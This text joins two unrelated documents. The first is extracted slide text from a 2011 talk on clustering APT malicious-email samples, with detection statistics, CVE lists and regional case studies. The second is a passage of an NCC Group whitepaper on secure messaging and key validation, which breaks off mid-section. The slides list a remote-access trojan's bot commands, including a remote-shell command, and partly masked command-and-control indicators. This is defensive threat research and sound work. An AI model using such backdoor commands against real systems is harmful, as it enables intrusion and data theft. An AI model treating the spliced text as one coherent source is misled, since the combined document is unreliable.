He has more than ten years of experience with host-based security, focusing on kernel
technologies for both the Win32 and Linux platforms. In early 2001 he was created Taiwan's first
widespread trojan BirdSPY. And now, he is also a contract trainer for law enforcements, intelligence
organizations, and conferences such as DEFCON 18, SySCAN (09 08), Hacks in Taiwan (07 06 05),
HTICA(06 08) and OWASP Asia (08 07). Jeremy specializes in rootkit/backdoor design. Jeremy also
specializes in reverse engineering and malware analysis, and has been contracted by law
enforcements to assist in forensics operations. Jeremy is a sought-after speaker for topics related
to security, kernel programming, and object-oriented design
Benson Wu
○
He currently works as Postdoctoral Researcher from Research Center for Information Technology
Innovation at Academia Sinica in Taiwan. He focuses research on malware and threat analysis, code
review, secure coding and SDLC process implementation. He graduated from National Taiwan
University with PhD degree in Electrical Engineering. He had spoken at NIST SATE 2009, DEFCON
18 (with Birdman), OWASP China 2010, and wrote the "Web Application Security Guideline" for the
Taiwan government.
Anothny Lai ( aka DarkFlyod )
○
He works on code audit, penetration test, crime investigation and threat analysis and acted as
security consultant in various MNCs. His interest falls on studying exploit, reverse engineering,
analyse threat and join CTFs, it would be nice to keep going and boost this China-made security
wind in malware analysis and advanced persistent threat areas.
○
He found security research group called VXRL in Hong Kong and has been working as visiting
lecturer in HK Polytechnic University on hacking course :) Spoken at Blackhat USA 2010, DEFCON
18 and Hack In Taiwan 2010/2011
Abstract
APT (Advanced Persistent Threat) means
any targeted attacks against any specific
company/organization from an or/and a
group of organized attack party(ies).
Other than providing the case studies, we
would like to present and analyze APT from
the malicious email document, throughout
our automated analysis, we could identify
and cluster the correlation among the
samples featured with various exploit,
malware and Botnet .
APT
What is APT ?
What is not APT !
APT Events
APT: Multi-vectors Attacking
Important APT Events In This Year
Mar 18, 2011
Mar 26, 2011
Lockheed Martin !
May 30, 2011
Act of WAR !
DoD: APT偵測與防護是資訊戰基石
It is not APT !
ㄟ~這個…不是那個… !!
APT is not Virus problem !
APT是多種面向的攻擊路徑
外網主機如Web伺服器遭突破成功,多半是被SQL注入攻擊
受駭Web伺服器被作為跳板,對內網的其他伺服器或桌機進行偵蒐
內網機器如AD伺服器或開發人員電腦遭突破成功,多半是被密碼暴
力破解
受害者的工作與私人信箱被設定自動被份給駭客
受駭機器遭植入惡意程式,多半被安裝遠端控制工具(RAT),傳回
大量機敏文件(WORD、PPT、PDF等等),包括所有會議記錄與組
織人事架構圖
更多內網機器被"設計"遭入侵成功,多半為高階主管點擊了看似正常
的郵件附檔,卻不知其中含有惡意程式
APT Attack Vs Traditional Botnet Activities
APT Activities
Crime-Group Activities
With organized planning
Mass distribution over regions
Cause damage? No
No
Target or Not
Targeted (only a few
groups/organizations)
Not targeted (large area spread-out)
Target Audience Particular organization/company
Individual credentials including
online banking account information
Frequency of
attacks
Many times
Once
Weapon
•
Zero-Day Exploit
•
Drop Embedded RAT
•
Dropper or Backdoor
•
Multiple-Exploits, All in one!
•
URL Download Botnet
•
Full function RAT
Detection Rate
Detection rate is lower than 10% if
the sample comes out within one
month
Detection rate is around 95% if the
sample comes out within one
month
Remarks: IPS, IDS and Firewall cannot help and detect in this area
Continued APT Mail EVERYDAY!
20,000 Malicious Mails !?
Major APT Activity: Targeted-Attack Email
In APT activities, we have observed there are
three major types of Targeted-Attack Email:
Phishing mail: Steal user ID and password
Malicious script: Detect end-use computing
environment
Install and deploy Malware (Botnet) !
APT Mail = Document Exploit + Malware
Research Direction (1/2)
We are not just focusing on a single one-
off attack, we tend to observe the entire
APT attack plan and trend
Traditionally, we just focus on malware forensics
or analyze a single victim’s machine. We cannot
understand the APT attack plan and its trend
indeed.
Research Direction (2/2)
Analyze and extract features and
characteristics of APT taskforce via:
Malware features
Exploit
C&C Network
Speared Email
Victim’s background
Time of attack
APT File Analysis and Grouping
Theoretically, in an information system (i.e.
malware analysis system), if we could collect all the
attributes/properties of our malicious sample sets,
we could identify whether the
executable/document/sample is malicious.
However, the research issues are insufficient
collection in attributes/characteristics (for example,
the malware has been packed and engage various
anti-debugging capabilities), so that we get the
indiscernibility relation.
Research
一籮筐APT的秘密
(Secrets Behind)
Standard Analysis Method
Static Approach
Extract signature/features from file format
Reversing
Dynamic Approach
Execute it under controlled environment and capture/log
all the behaviors
Analyze networking traffic
Challenge of Malware/Exploit Analysis
Encryption,
Obfuscation
Anti-
VM/Sandbox
Dormant
Functionality
Side-Effect of
Master/Bot
interaction
We prefer using static analysis to prevent from Anti-VM, dormant
functionality and side effect of master/bot interaction.
What APT Attributes we focused?
We work on the analysis on multi-concepts basis.
Throughout static analysis:
Extract and review executable, Shellcode and PE header
Objects and abnormal structure in file
Throughout dynamic analysis:
Install the system into Windows
Scan Process Memory to detect abnormal structure
Code-Injection, API Hooking …
Detect any known Code Snippet
Rootkit, KeyLogger, Password Collector, Anti-AV…
Suspicious strings: email address, domain, IP, URL
Extract Attributes from APT File
Concept
Data
CVE
CVE-2009-3129
Shellcode
Code=90903CFDEF
CAPO=E2FE9071
PUCA=002191CB
Entropy
6.821483
Network
140.128.115.***
smtp.126.com
test.3322.org.cn
Structure
JS=A103FE426E214CE
JS=90C0C0C0C
AS=32EF90183227
Malware 1
PE=EF024788
Entry=000B7324
Code=D7B5A0120987FE
Code=83D2325AB5
Code=20BDCE
Autorun=STARTUP_FOLDER
Behavior=DLL-Injection,
Password Collector
Malware 2
PE=EF93461A
Entry=0003CAC0
Code=AC23109B
Code=19EFAC21
Behavior=API-Hooking
Discretization
SC.5D5819EE
SC.D810C601
PE.EBD5880B
PE.5A05A491
CD.FC7939E2
CD.102C752B
CD.2AFB773A
ML.47E1B4C6
NT.549535DD
CC.656C20E1
CC.77DEB444
……
APT Attributes
Static
Analysis
Dynamic
Analysis
APT Taskforce
Database
Clustering !
Clustering
APT Groups
APT Attributes
Exploit Concept
Shellcode
Malware Concept
Code Snippet
Xecure Engine
Behavior
Exploit CVE
PE Information
Network Concept
C&C IP/Domain
Protocol
SC.5D5819EE
SC.D810C601
PE.EBD5880B
PE.5A05A491
CD.FC7939E2
CD.102C752B
CD.2AFB773A
ML.47E1B4C6
NT.549535DD
CC.656C20E1
CC.77DEB444
……
Save to DB
Extract Fingerprints
Experiment
Mila's provided APT sample
archives are confirmed to malicious
Those archives are open to public
for downloading and analysis
(Collection1, 242 APT files)
The sample archives are used by
many researchers
http://contagiodump.blogspot.com/
Detection Rate
Xecure Inspector
94.62 % (229 / 242 )
Definition updated to 2011/6/11
Microsoft Security Essentials
21.4 % (52 / 242)
Sophos
35.9 % (87/242)
AntiVir
56.6 % (137/242)
There are 8 major APT-Taskforce Groups
Group A
Group B
Group C
Group D
Group E
Group F
Group G
Group H
Groups of Mila Sample Set Collection1
2011
2010
2009
2008
other
Top 3 APT Taskforce Groups
Group A
Active
2009-0923 ~ 2011-0420
Number
40
CVE
CVE-2009-4841, CVE-2009-0927, CVE-2009-3129,
CVE-2009-4324, CVE-2010-0188, CVE-2010-2833,
CVE-2011-0611, CVE-2011-0609
Malware
APT00010
C&C
IP:23, Domain: 5
Group B
Active
2008-0414 ~ 2011-0211
Number
26
CVE
CVE-2006-6456, CVE-2008-0081, CVE-2009-1129,
CVE-2009-4324, CVE-2010-0188, CVE-2010-2883,
CVE-2010-3333
Malware
APT000A0
C&C
IP:23, Domain:4
Group C
Active
2008-0904 ~ 2011-0413
Number
21
CVE
CVE-2007-5659, CVE-2008-4841, CVE-2009-1862,
CVE-2009-3129, CVE-2009-4324, CVE-2009-0658,
CVE-2009-0927,
Malware
APT00200
C&C
IP:5, Domain:11
Malware of APT Group A
Malware Attack Graph
Malware Fix Suggestion
Bot Command
/get Remote Local
/rsh [SHELL FILE]
/shr [wins.exe]
/put Local Remote
/run Program
/sleep MINIUTES
C&C Location of APT Group A
48.1% C&C IP located in Taiwan
Malware of APT Group B
Malware Attack Graph
Malware Fix Suggestion
C&C Location of APT Group B
16% C&C IP located in Taiwan
Malware of Group E
Group-E
Language = Korean
Findings from Mila Sample Set (1/2)
Our analysis against Mila Sample set could identify 8
major APT taskforces.
There are around 12 different CVEs and exploits are
identified.
We have found that even APT taskforce uses 8-9
different exploits, however, the type of malware used is
limited to a few one. There is no surprise at all
We identify APT Taskforce based on CnC server
location and malware they have used. The exploit the
taskforce used is not very related to our analysis.
Findings from Mila Sample Set (2/2)
Language used in APT sample:
24% of the samples is from China
3.9% of the samples is from Korean ,
We also found some are from Russia and France
APT CnC server location Top 3 Ranking:
Taiwan (28%)
US
Hong Kong (HK is readily another CnC heaven )
APT-Deezer provides a free
online service to check whether
your submitted sample whether
it is an APT sample
We took Mila sample set as the base
training set
Identify Exploit CVE and Malware family
Zero-Day Exploit detection and analysis
APT Malware sample DNA analysis and
comparison
APT sample clustering and grouping
Support file formats including
DOC,PPT,XLS,PDF,RTF
http://aptdeezer.xecure-lab.com
Case Study A(1/4), Hong Kong APT!
Case Study A(2/4), Hong Kong APT!
Characteristics:
1.
A democratic party in HK2.
2.
Fake as a staff in LEGCO council
3.
Google cannot detect it
4.
The email is sent before 1 July
Case Study A(3/4),
It is from Group-C
File:專責採訪立法會新聞的記
者名單2011-6-12.xls
Group: C
Exploit: CVE-2009-3129
BuildTime: 2011-02-14
Case Study A(4/4),
Malware of APT Group C
Malware Attack Graph
Malware Fix Suggestion
C&C Location of APT Group C
28.5% C&C IP located in China
Case Study (1/4)
Target Attack Mail has been signed !?
又看到COMODO !
Signed and Verified
(2/4) Identify the APT Taskforce Group
‘100620.pdf’ belongs to a
known, newly discovered
APT Taskforce in 2011.
(3/4)
But Malware is a known family, it is same
as APT-Group-B !
新一代的資安策略 - 情資導向的防護思維
正視威脅,謀定而後動
先進國家已將 APT 防護議題拉高至國家層級,而非視為個資外洩等民生議題。
工欲善其事,必先利其器
資安防護產業也正面臨挑戰,APT時代的來臨可能意味著,將會越來越多針
對性的 Malware,難以利用蜜罐(honeypot)和蜜網(honeynet)誘捕到
APT樣本,因為僅有特定人士會收到這些天上掉下來的禮物。
正兵當敵,奇兵致勝
如果是以不變應萬變,那遲早有被攻破的一天!防守方務必也要持續收集與
分析戰情,才能知彼知己,百戰百勝。
分析一系列的攻擊活動並歸納奧義,才有辦法歸納出攻擊行動的組織、活動
甚至計劃。
安全基準,最佳實務
落實執行資安政策,實體隔離,公務公辦,嚴禁USB隨身碟任意插拔等基本
要求都已推行多年。
總結
APT有組織有計劃的網路間諜活動,特別針對高價值目標如政治,經
濟,高科技與軍事。雖然是個新的熱門名詞,但是卻存在已久。
APT以目標式攻擊的惡意郵件為主要活動,其中使用各種 Zero-Day
Exploit,與專門開發的 RAT,傳統資安設備無法自動偵測與防禦
APT惡意郵件攻擊。
要有正確的資安關念,才不會有錯誤的政策。APT惡意郵件不能只是
作一般病毒信件處理而敷衍過去,攻擊事件將一再發生。
唯有透過大量且跨區域的APT樣本分析才能觀察到攻擊全貌。目前觀
察到香港,台灣與美國的APT樣本有很高的相關性。
分析各國APT樣本來看 APT活動前三大地區就占了超過一半比例,台
灣、美國與香港,其中台灣最高約 28% 。綜觀來看,亞洲是APT最
主要活動的地區。
Any Feedbacks? Let us know! ;-)
•
Xecure Lab (http://www.xecure-lab.com)
•
We keep collecting samples for analysis
•
Enhance the capability to analyze APT DNA
family in more accurate manner.
•
Together, we make homeland secured. | pdf |
NCC Group Whitepaper
Secure Messaging for Normal People
July 20, 2015 – Version 1.0
Prepared by
Justin Engler — Principal Security Consultant
Cara Marie — Senior Security Consultant (Diagrams)
Abstract
"Secure" messaging programs and protocols continue to proliferate, and crypto ex-
perts can debate their minutiae, but there is very little information available to help the
rest of the world differentiate between the different programs and their features. This
paper discusses the types of attacks used against a variety of messaging models and
discusses how secure messaging features can defend against them. The goal of this
paper is to help inform those who are tech-savvy but not crypto-experts to make smart
decisions on which crypto applications to use.
Table of Contents
1
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
1.1
What is a message? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
1.2
Cryptography is magic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
1.3
Cryptobabble . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2
Your own threat model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
2.1
Adversary types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
2.2
Why are you keeping secrets? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
3
Messages without encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8
4
Encryption endpoints . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
5
Key validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
5.1
Trust on first use. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
5.2
Out-of-band validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
5.3
Transitive trust . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
5.4
Validation is forever until it isn't . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
6
Group messaging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
6.1
Ice cream attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
6.2
Membership changes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
6.3
Group chat protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
7
Open source . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
7.1
Security audits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
7.2
Does it do what it says? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
7.3
Did we get the program we analyzed? (reproducible builds) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
7.4
Operating systems and open source . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
7.5
How many operating systems are on your device? And what do they run on? . . . . . . . . . . . . . . . . 18
8
Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
8.1
Direct collection of metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
8.2
Inferring metadata as a global passive adversary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
8.3
Identifiers as metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2 | Secure Messaging for Normal People
NCC Group
8.4
Address book harvesting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
8.5
Is there any cure for metadata? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
9
Physical device access/seizure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
9.1
Logs & transcripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
9.2
Forward secrecy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
10 Things that don't work
like you think they do . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.1 Auto-deleting messages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.2 One time pads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.3 Special crypto hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.4 Geofencing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.5 Mesh networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
10.6 Military-grade. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
10.7 Bespoke cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
10.8 Multiple synchronized devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
11 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3 | Secure Messaging for Normal People
NCC Group
1 Introduction
Security and privacy continue to be on the minds of the public, and many users want to know how to keep their
communications private. At the same time, users are being offered more choices in how to communicate with
each other than ever before, and some of these choices purport to be "secure". By the end of this paper, you
will be able to understand what types of things the "bad guys" will try to do to access your communications
and what features messaging systems offer to thwart those attempts.
1.1 What is a message?
For the purposes of this paper, a "message" is any information you want to send to another person or group
of people. Phone calls, SMS, email, video chat, text chat, and other similar items are included, but things like
communications between your computer and a server are not messages themselves as far as we're concerned
in this paper.
A messaging client is whatever collection of systems you use to send messages. This could mean anything
from a traditional phone up to a niche messaging application on a computer.
1.2 Cryptography is magic
There are a huge number of different types of cryptographic algorithms that are used for different situations.
Algorithm choice, implementation flaws, and similar considerations can have huge impacts on the security
of your data, but such details are outside of the scope of this discussion. While reading this paper, you
can translate "encrypted" as "impossible for anyone else to read or modify", unless otherwise stated. You
shouldn't necessarily translate it that way in the real world though, you would need to have cryptography and
application security experts sign off on the actual algorithms and implementations used.
Even though we're making this assumption that encryption is unbreakable, there are plenty of other ways
adversaries could get to your data. The purpose of this paper is to explain those things and what to do about
them.
1.3 Cryptobabble
This paper attempts to simplify things as much as possible, but there are a few key cryptography terms that
we'll be using. Sometimes their meanings can be confusing if you don't already know what they are, so let's
lay a few out now.
• Key - A secret value that "unlocks" an encrypted message.
• Public Key/Private Key - These come in pairs. The idea is that you give your public key away to everyone,
but you keep the private key to yourself. Anyone with your public key can send an encrypted message that
can only be decrypted with the private key. You can imagine this as you distributing the blueprints to a lock
that will only open with your key. Now, anyone with the blueprints (public key) can build a locked container
(encrypt a message) that only the private key can open.
• Signatures - This is another use for public keys. If you have my public key, you can verify that a given
message actually came from me. Interestingly, that message can be sent unencrypted (so anyone can read
it), but you can still use the public key to validate it. For a real-world analogy, imagine that you have a
sample of my handwriting signature (public key). If I send you a document and I sign it with my pen (private
key), you can check to see if the signatures match.
• Fingerprints - Usually in cryptography a fingerprint has nothing to do with the oily smudges you leave
everywhere. Instead, when we say fingerprint, we mean a short value that can represent a longer one. Keys
can be very long (a number 925 digits long, for one example), so we use some math to boil that down into
something manageable that a person could read and compare (a 13 digit fingerprint for the previous 925
digit key). Machines will use the full key, but if a person needs to verify the value of a key, the person could
4 | Secure Messaging for Normal People
NCC Group
use fingerprints instead. It's called a fingerprint because it uniquely identifies the larger value. Don't panic
if someone wants to see your fingerprints!
• Trust - If we say that we "trust" people, we're not saying we'd let them house-sit or borrow money. It simply
means that we're relying on them to vouch for someone's identity. Sometimes we'll trust an individual
person, other times we'll trust a more abstract entity.
5 | Secure Messaging for Normal People
NCC Group
2 Your own threat model
It's impossible to determine what the "best" encrypted chat program is because everyone has different needs.
To decide what kinds of security you need, first understand who is trying to attack you and what they are trying
to take from you.
2.1 Adversary types
For the purposes of this talk, we're going to talk about four different types of adversary.
Opportunistic, Low-resource adversaries: These attackers aren't targeting you directly, and they aren't willing
to commit much effort, skill, and/or time on you. Novice troublemakers, corporate/educational monitoring
systems, analysis for use in advertising systems, etc.
Targeted, Low-resource adversaries: These attackers are specifically after your information, but they don't
have massive resources. Targeted hackers, organized crime, corporate espionage, harassers, and the like
make up this group.
Opportunistic, High-resource adversaries: These attackers aren't looking at you specifically, but they have
massive resources to throw at the problem of bulk surveillance. This group is likely to be a government program
doing large scale data collection, monitoring, and/or filtering.
Targeted, High-resource adversaries: These attackers are likely government actors who have already zeroed
in on you specifically. It is highly unlikely that anything we discuss in this paper will be able to protect you in
any meaningful way from this kind of attention, but hopefully we'll at least be able to explain why your choice
of secure messaging program won't be much help against this class of threat.
2.2 Why are you keeping secrets?
When choosing a messaging system, you need to consider how much you value the information you want to
keep secret. You also need to consider how much value your data has to an adversary who wants to steal it.
Both of these inform how much effort you should put into your security.
Different types of data will have different value. This paper is mostly concerned with the value of the actual
content of your messages, but we will also discuss some other types of data and why it is important.
Here are a few common scenarios:
Privacy-concerned average citizen: You don't have anything in particular you're trying to hide in most of
your messages. You're concerned about keeping financial data, medical records, and similar information
confidential, but you don't often discuss that data over messaging clients. You might also be interested in
encrypted communications simply because you believe in privacy as a principle, or to help give legitimacy to
other crypto users.
Business users: Businesses often have employees who need to discuss confidential information such as trade
secrets or financial data.
Activists: People who do things that might draw government attention. We're going to stay away from politics
in this paper and just assume that there are causes that are both morally/ethically just and are simultaneously
oppressed by some government that can bring punishment to bear.
Harassed: People whose social or political beliefs are unpopular with specific individuals or groups or are
targeted for harassment for other reasons (celebrities or other media personalities might fall into this category).
The harassers might try to read messages to publicly air them or try to uncover a physical address or current
location.
6 | Secure Messaging for Normal People
NCC Group
People who send nude pictures: If you want to sext someone, it's likely you want that picture to only be
readable by the people you actually sent it to.
7 | Secure Messaging for Normal People
NCC Group
3 Messages without encryption
To help explain how encrypted messaging systems can and cannot protect users, first, let's examine an unen-
crypted messaging system.
Figure 1: Alice, Bob and the Evil Eavesdroppers
On the Internet, messages passed between Alice
and Bob will move from their devices to the local
network, then across an undefined set of Internet
devices, then to the receivers' local network and
onto the receiving device. If the communications
aren't encrypted, eavesdroppers in any of the
attacker groups above can read the message in
most cases.
The situation for SMS messages and phone
calls is comparable, though the technical details
vary.
For mobile networks, although these
technologies are not always encrypted in a
meaningful way, eavesdropping on them is often
more difficult than eavesdropping on IP networks.
At the time of this writing,
it is probably
safe to assume that low-resource, non-targeted
adversaries are not able to intercept SMS and mobile phone calls. Attacks against mobile phone technologies
are getting easier every day, so it's likely that these types of communications will continue to get easier.
You could also envision more esoteric architectures, like bluetooth mesh networks, that also follow this same
general pattern.
8 | Secure Messaging for Normal People
NCC Group
4 Encryption endpoints
The most common form of communications encryption on the Internet is Transport Layer Security (TLS).1 This
technology is designed to secure communications between a client and server. The diagram would look
something like this.
This is much better than before, as it shuts out most eavesdroppers at the network layer. It does highlight a
specific, powerful attacker.
Figure 2: Malicious servers can still read TLS traffic
Traffic from Alice to the server is encrypted, and
then it is encrypted again from the server to Bob.
The server is in the middle of the traffic and can
read, store, or change any messages.
Even if
you trust the operators of the server, the more
popular it becomes, the more likely it is to be
targeted by those who want to observe message
traffic.
Additionally, the server operators will
be operating under some legal jurisdiction, and
most jurisdictions require at least some level of
access to the data by law enforcement.
We also need a way to confirm that the server
we're talking to is actually the correct one, and
not just a server pretending to be the legitimate
chat server. This is handled as an integral part
of TLS. Your operating system or application has
a list of trusted certificate authorities (CAs) that
your system trusts to "vouch for" a given site's identity. This system can be abused in a few ways. Your system
trusts a huge number of CAs by default, and it trusts any of them to vouch for any website. This means that
anyone who can access or influence any CA can forge a certificate for any server, and therefore vouch for a
fake server. As mentioned above, for messaging systems that use this architecture, the encryption ends at the
server, so in this case it would end at the fake server.
Another way to abuse these systems is to add extra CAs to the list of CAs that your system trusts. Many
businesses do this automatically for their computers and networks, so that the business can monitor commu-
nications for security problems or lazy workers. Some public networks have also been known to require users
to install custom CAs. Attackers can try to convince users to add attacker-controlled CAs to the trusted list for
a given computer. Finally, sometimes software errors will simply skip the verification step, allowing any server
to claim to be any other server.
Despite all of these disadvantages, this is still a common model, and it works well in the majority of computer
communications if you're willing to allow the server to read all of your messages and you understand that the
potential exists for high resource attackers to intercept your communications (and in a few selected cases,
lower resourced attackers as well).
1Older versions were called Secure Sockets Layer (SSL). TLS and SSL are the technology behind "HTTPS" used in web pages (the
lock icon in your address bar)
9 | Secure Messaging for Normal People
NCC Group
Figure 3: End-to-end encrypted traffic is only readable
by Alice and Bob's computers.
A better solution would be to find a way to
make the encryption endpoints be Alice's device
and Bob's device, so that even if there's a central
chat server, it can't actually read the data.
This is an ideal situation, but there are implemen-
tation details that make end-to-end encryption
more complicated than the diagram makes it
seem. We'll cover several topics that are impor-
tant in encrypted messaging, and the potential
ways they are addressed in both user-to-provider
and end-to-end encrypted messaging.
10 | Secure Messaging for Normal People
NCC Group
5 Key validation
In order for end-to-end encryption to be possible, we need a way for Alice and Bob to exchange encryption
keys securely, or at least to be able to verify that the keys they see for the other party actually belong to the
other party. Unfortunately, it's not possible to just pass the keys over the Internet directly: think about the
initial key as just another kind of message and look back at the first diagram to understand why. There's an
important wrinkle here that we're mostly going to gloss over under our "cryptography is magic" clause above.
It actually doesn't matter if an attacker can read our keys, there's a special type of encryption called "public
key cryptography" that makes this happen. We do need to worry about an adversary changing keys that we
send. This means that if we go back to the original unencrypted messages case, we're not safe because any
of the eavesdroppers could replace our key with their key.
Consider another common architecture for message passing, this time using a form of end-to-end encryption,
so Alice's messages to Bob don't get decrypted on the server.
Figure 4: Alice asks Server for Bob's key, Server provides it
In the above diagram, the server has a database all of the identities. If Alice wants to talk to Bob, Alice asks
the server for Bob's key, the server sends back a key, Alice uses it to encrypt a message to Bob.
Figure 5: Server provides bad key (MITM)
Alice has just blindly trusted the server to tell
the truth and provide Bob's key, but at this point,
there's no way for her to verify that the server
provided Bob's key.
5.1 Trust on first use
There are solutions to this problem, but they can
become cumbersome quickly. First, simplest, and
least secure is Trust on First Use (TOFU). The first
time Alice asks for Bob's key and gets a response,
Alice saves the key (or some representation of the
key). The next time Alice tries to send a message
to Bob, Alice either uses the saved key or checks
to see if the key received from the server matches
the one received earlier.
One weakness to TOFU lies in the first message. If the server is lying for this first response, then there is no way
to securely communicate with Bob. The server could read or modify the traffic at any time. This makes TOFU
an acceptable choice only when dealing with opportunistic attackers who aren't already actively targeting you
or your communications partner.
11 | Secure Messaging for Normal People
NCC Group
There is a further problem here. If Bob needs to change his key suddenly, there is no way for Alice to tell the
difference between Bob and an attacker claiming to be Bob. This is a huge and essentially unsolvable problem
for systems that have TOFU as their only key validation method.
5.2 Out-of-band validation
A better way to solve this problem is to find a way to validate the key so that Alice knows that the key received
is the one actually used by Bob. The easiest way to accomplish this is to validate the keys out of band. This
is usually done with either a hexadecimal string commonly called the "fingerprint", or a QR code which is a
graphical representation of the same data. The fingerprint is not a secret value you want to protect (unlike
your own, real print on your fingers)- instead, it is a public value you would want to print on your business
cards, advertise on your website, or tattoo in a handy location2
Figure 6: QR code and "fingerprint"
However, this key exchange is only as secure as the communi-
cations method used.
If the fingerprint was exchanged over the
very chat you were attempting to authenticate, if you were being
attacked, the attacker would simply replace the fingerprint with
whatever data you expect to see. Fingerprints must be exchanged
over a separate channel that you know (or at least hope!) has not
been compromised. (Hence "out-of-band".) The best assurance
is provided by physically visiting your communications partner and
verifying keys/fingerprints - but other options potentially include
a phone call, SMS, a video chat - anything where you can be
reasonably sure the attacker is unable to modify the data of.
Consider also that some types of verification are harder to forge. A
live videochat of Bob reading off his fingerprint to Alice is difficult to
intercept and modify in real time with a faked video of Bob reading
off the wrong fingerprint.
An SMS from Bob with his fingerprint
might be easier for some attackers to intercept and modify in transit,
but if the validation was ad hoc and not part of some automatic
validation scheme, it would probably require an adversary who was
already prepared and waiting to jump into the communications between two specific individuals.
This
adversary would also need access to the phone network or otherwise be able to modify or forge SMS messages
in transit.
5.3 Transitive trust
Another method to determine if the keys you're receiving are legitimate is to ask someone else. Consider a
case where Alice wants to talk to Bob, but she can't validate Bob's key. However, Alice trusts Carol, and Carol
trusts Dave. Dave has Bob's key and has validated it. Now Alice can have some assurance that the key she is
using for Bob is a legitimate key.
This strategy has a few names that imply a few variations.
5.3.1 Web of Trust
The most popular term since the 1990s has been "web of trust". The web of trust implies a public database
where everyone can see everyone else's "connections" - who trusts whom. These connections may not be
symmetric - just because Alice trusts Carol, doesn't mean carol trusts Alice.
2Okay, maybe not tattoo it, that makes changing your key even harder!
12 | Secure Messaging for Normal People
NCC Group
